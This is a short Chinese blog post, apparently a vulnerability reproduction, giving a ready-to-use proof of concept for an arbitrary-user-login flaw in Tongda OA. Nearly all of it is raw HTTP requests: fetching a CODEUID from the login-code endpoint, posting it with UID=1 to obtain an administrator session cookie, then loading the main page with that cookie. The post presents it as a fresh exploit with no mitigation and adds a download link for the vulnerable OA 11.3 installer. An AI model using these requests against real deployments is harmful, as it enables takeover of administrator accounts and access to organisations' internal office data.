「漏洞复现」通达OA任意用户登陆

直接上POC

热乎着的

GET /general/login_code.php HTTP/1.1
Host: 192.168.91.131
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close



回返回如下的数据包: 1.png

将CODEUID获取后,修改一下再发包。

POST /logincheck_code.php HTTP/1.1
Host: 192.168.91.131
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 50
Connection: close

CODEUID=C3C9E1A3-169F-F55A-5CD2-4662E3341E93&UID=1

2.png

然后将response头中的set-cookie值复制下来

然后访问主页看是否成功。

GET /general/index.php HTTP/1.1
Host: 192.168.91.131
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=dt8aj659tpnv30l5c7vm6qmr17; 
Connection: close


3.png

最后,附上通达OA11.3安装包

链接: https://pan.baidu.com/s/1KXahNOGpjmaMwqwbemmz4w 密码: 991v

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×